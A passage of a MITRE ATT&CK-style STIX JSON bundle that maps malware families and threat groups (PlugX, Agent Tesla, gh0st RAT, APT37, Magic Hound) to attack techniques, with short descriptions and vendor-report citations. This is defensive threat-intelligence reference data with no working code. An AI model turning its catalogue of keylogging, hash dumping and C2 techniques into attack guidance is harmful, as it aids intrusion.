                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2020-03-20T16:46:50.618Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5ac475f9-f253-44db-861e-c7303961aa6c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) uses a simple XOR cipher to encrypt traffic and files.(Citation: US-CERT Volgmer 2 Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T18:30:59.080Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--110690db-fd9b-425a-9269-ec082f0af3f9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used PowerShell for execution and privilege escalation.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-09-09T19:21:42.359Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--06ef19c1-8490-42cc-b345-45f3aa29fc5f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) obtains the victim username and encrypts the information to send over its C2 channel.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-21T00:07:11.895Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--04ba0d26-d931-423e-a3de-713892c0af97",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[P2P ZeuS](https://attack.mitre.org/software/S0016) added junk data to outgoing UDP packets to peer implants.(Citation: Dell P2P ZeuS)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell P2P ZeuS",
                    "description": "SecureWorks. (2013). The Lifecycle of Peer-to-Peer (Gameover) ZeuS. Retrieved August 19, 2015.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/The_Lifecycle_of_Peer_to_Peer_Gameover_ZeuS/"
                }
            ],
            "source_ref": "malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade",
            "type": "relationship",
            "modified": "2020-03-19T21:17:00.298Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b2f180de-6c03-41cd-a6ed-a49ac674740b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[yty](https://attack.mitre.org/software/S0248) uses a keylogger plugin to gather keystrokes.(Citation: ASERT Donot March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
                    "source_name": "ASERT Donot March 2018"
                }
            ],
            "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T19:53:41.280Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b6f70ba6-bff1-4b40-a418-356e7b6efa27",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.539Z",
            "created": "2017-05-31T21:33:27.037Z"
        },
        {
            "id": "relationship--788ca56e-1194-4c5f-a12b-72678390f1ef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate system information.(Citation: Cylance Shell Crew Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Shell Crew Feb 2017",
                    "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.",
                    "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
                }
            ],
            "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-19T22:02:49.027Z",
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        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.",
                    "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/",
                    "source_name": "Nccgroup Gh0st April 2018"
                }
            ],
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can capture the victim\u2019s screen remotely.(Citation: Nccgroup Gh0st April 2018)",
            "id": "relationship--b0a40611-da3c-4447-b0af-fa66f927b623",
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2021-03-29T19:49:11.266Z",
            "created": "2019-01-29T14:51:06.858Z"
        },
        {
            "id": "relationship--2d1bee29-c394-48ca-8ded-21fd86e3ff43",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve usernames from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
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            "created": "2018-04-18T17:59:24.739Z"
        },
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                {
                    "source_name": "CIRCL PlugX March 2013",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."
                }
            ],
            "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to enumerate drives and find files recursively.(Citation: CIRCL PlugX March 2013)",
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            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-19T15:08:15.867Z",
            "created": "2019-01-29T18:17:59.219Z"
        },
        {
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            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is sometimes signed with an invalid Authenticode certificate in an apparent effort to make it look more legitimate.(Citation: TrendMicro Patchwork Dec 2017)",
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            ],
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                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52",
            "type": "relationship",
            "modified": "2020-08-13T20:14:45.607Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            ],
            "external_references": [
                {
                    "source_name": "DigiTrust Agent Tesla Jan 2017",
                    "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/",
                    "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."
                },
                {
                    "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.",
                    "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html",
                    "source_name": "Fortinet Agent Tesla April 2018"
                },
                {
                    "source_name": "Malwarebytes Agent Tesla April 2020",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/",
                    "description": "Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the username from the victim\u2019s machine.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla April 2018)(Citation: Malwarebytes Agent Tesla April 2020)",
            "id": "relationship--3e370a6e-2a3c-4e56-aa57-fecab8d09709",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-05-28T23:41:03.888Z",
            "created": "2019-01-29T18:44:05.081Z"
        },
        {
            "id": "relationship--f1d5a985-406e-4b03-9f55-2706a2adba92",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Fgdump](https://attack.mitre.org/software/S0120) can dump Windows password hashes.(Citation: Mandiant APT1)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "source_ref": "tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "type": "relationship",
            "modified": "2020-03-19T22:53:44.969Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Riskiq Remcos Jan 2018",
                    "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/",
                    "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) can upload and download files to and from the victim\u2019s machine.(Citation: Riskiq Remcos Jan 2018)",
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            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-19T14:39:52.997Z",
            "created": "2019-01-29T18:55:20.971Z"
        },
        {
            "id": "relationship--596f9132-84e2-42c9-ad58-8833fe38b1e6",
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            "description": "[Kazuar](https://attack.mitre.org/software/S0265) encodes communications to the C2 server in Base64.(Citation: Unit 42 Kazuar May 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:15:21.629Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7ed93170-2dba-4e59-b0f0-7c716c73bdc0",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
            "relationship_type": "uses",
            "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
            "external_references": [
                {
                    "source_name": "Bizeul 2014",
                    "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.",
                    "url": "https://airbus-cyber-security.com/the-eye-of-the-tiger/"
                }
            ],
            "description": "(Citation: Bizeul 2014)",
            "type": "relationship",
            "modified": "2020-03-16T18:54:08.839Z",
            "created": "2017-05-31T21:33:27.047Z"
        },
        {
            "id": "relationship--548e7315-5055-4434-96c1-1429779b0e2b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pisloader](https://attack.mitre.org/software/S0124) has a command to collect the victim's IP address.(Citation: Palo Alto DNS Requests)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto DNS Requests",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
                }
            ],
            "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T02:10:14.746Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bb005145-438c-4fd8-9cac-a636df7465da",
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            "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getProcessList function to run <code>ps aux</code> to get running processes.(Citation: XAgentOSX 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                }
            ],
            "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-07-26T23:07:21.138Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5375b22d-1da8-4178-b728-5b91b6917a5c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RunningRAT](https://attack.mitre.org/software/S0253) captures keystrokes and sends them back to the C2 server.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.622Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3d988f8f-2448-409c-ac41-4a507bb8cf23",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1",
            "relationship_type": "uses",
            "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "source_name": "Symantec Orangeworm April 2018"
                }
            ],
            "description": "(Citation: Symantec Orangeworm April 2018)",
            "type": "relationship",
            "modified": "2019-03-25T15:36:46.916Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ae1de9c5-6bc0-459a-b4ca-568139a5ee41",
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            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "source_name": "Palo Alto OilRig May 2016"
                },
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                },
                {
                    "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/",
                    "source_name": "Crowdstrike Helix Kitten Nov 2018"
                }
            ],
            "description": "(Citation: Palo Alto OilRig May 2016)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: Crowdstrike Helix Kitten Nov 2018)",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.897Z",
            "created": "2018-01-16T16:13:52.465Z"
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        {
            "id": "relationship--9fef204f-163a-4c9d-b9b1-8a168074063a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to display network connections: <code>netstat -ano >> %temp%\\download</code>(Citation: FireEye admin@338)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2019-09-04T19:48:17.573Z",
            "created": "2017-05-31T21:33:27.052Z"
        },
        {
            "id": "relationship--d0ed6995-15c9-4221-9783-4b61281d1d02",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) has used port 8080 for C2.(Citation: Securelist ScarCruft Jun 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/operation-daybreak/75100/",
                    "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.",
                    "source_name": "Securelist ScarCruft Jun 2016"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.750Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--2a8f0313-4059-42b9-b487-6c8f860588c0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) encrypts with the 3DES algorithm and a hardcoded key prior to exfiltration.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-03-30T01:44:20.227Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5a77e097-3aed-4bd3-b5fc-997746da62ad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to discover processes.(Citation: FireEye APT17)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT17",
                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"
                }
            ],
            "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-17T19:06:43.760Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--db8f1355-57f0-446d-a261-b168497b20c6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) copies documents under 15MB found on the victim system to is the user's <code>%temp%\\SMB\\</code> folder. It also copies files from USB devices to a predefined directory.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-16T23:33:40.725Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--65493f92-06f8-407c-8fdb-f53706849b12",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DDKONG](https://attack.mitre.org/software/S0255) communicates over raw TCP.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00"
        },
        {
            "id": "relationship--1da542f3-0003-4eb7-9bb6-1bd3cced9763",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used spearphishing with Microsoft Office attachments to target victims.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.622Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ae3a87db-018b-441d-bc5c-4f7e30ce5551",
